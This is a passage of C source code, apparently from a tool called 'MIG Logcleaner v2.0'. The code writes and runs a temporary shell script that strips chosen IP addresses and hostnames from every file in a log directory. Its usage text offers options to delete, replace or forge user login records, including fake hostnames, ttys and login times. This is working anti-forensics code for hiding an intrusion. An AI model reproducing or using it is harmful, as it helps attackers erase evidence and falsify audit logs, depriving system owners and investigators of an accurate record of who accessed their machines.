do>>/tmp/mig.sh;ech\ o \"cat \\\"\\$F1\\\"|grep -v \\\"%s\\\">/tm\ p/F1.tmp;cat /tmp/F1.tmp>\\\"\\$F1\\\"\">>/tmp/mi\ g.sh;echo done>>/tmp/mig.sh;echo fi>>/tmp/mig.sh;echo \ \"if [ -s /tmp/dirs.IP ]\">>/tmp/mig.sh;echo then\ >>/tmp/mig.sh;echo \"set \\`cat /tmp/dirs.IP\\`\"\ >>/tmp/mig.sh;echo \"for F2 in \\`echo \\$@\\`\">\ >/tmp/mig.sh;echo do>>/tmp/mig.sh;echo \"cat \\\"\\$F2\ \\\"|grep -v \\\"%s\\\">/tmp/F2.tmp;cat /tmp\ /F2.tmp>\\\"\\$F2\\\"\">>/tmp/mig.sh;echo done>>/tmp/m\ ig.sh;echo fi>>/tmp/mig.sh",D,a,b); system(command); system("chmod +x /tmp/mig.sh"); system("/tmp/mig.sh"); printf("[0x%d] Removed \"%s\" and \"%s\" strings out of %s direcotry\n",c++,a,b,D); remove("/tmp/mig.sh"); remove("/tmp/F1.tmp"); remove("/tmp/F2.tmp"); remove("/tmp/dirs.IP"); return (0); } int usage(char *arg) { printf("\n******************************\n"); printf("* MIG Logcleaner v2.0 by no1 *\n"); printf("******************************\n"); printf("usage: %s [-u] [-n] [-d] [-a] [-b] [-R] [-A] [-U] [-T] [-H] [-I] [-O] [-d]\n\n", arg); printf(" [-u ]\t- username\n"); printf(" [-n ]\t- username record number, 0 removes all records (default: 1)\n"); printf(" [-d ]\t- log directory (default: /var/log/)\n"); printf(" [-a ]\t- string to remove out of every file in a log dir (ip?)\n"); printf(" [-b ]\t- string to remove out of every file in a log dir (hostname?)\n"); printf(" [-R]\t\t- replace details of specified user entry\n"); printf(" [-A]\t\t- add new entry before specified user entry (default: 1st entry in list)\n"); printf(" [-U ]\t- new username used in -R of -A\n"); printf(" [-T ]\t- new tty used in -A\n"); printf(" [-H ]\t- new hostname used in -R or -A\n"); printf(" [-I ]\t- new log in time used in -R or -A (unit time format)\n"); printf(" [-O ]\t- new log out time used in -R or -A (unit time format)\n"); printf(" [-d]\t\t- debug mode\n\n"); printf("eg: %s -u john -n 2 -d /secret/logs/ -a 1.2.3.4 -b leet.org\n", arg); printf(" %s -u john -n 6\n", arg); printf(" %s -d /secret/logs/ -a 1.2.3.4\n", arg); printf(" %s -u john -n 2 -R -H china.gov\n", arg); printf(" %s -u john -n 5 -A -U jane -T tty1 -H arb.com -I 12345334 -O 12345397\n\n", arg); return (0); } /*******************/ // greyhats.za.net // /*******************/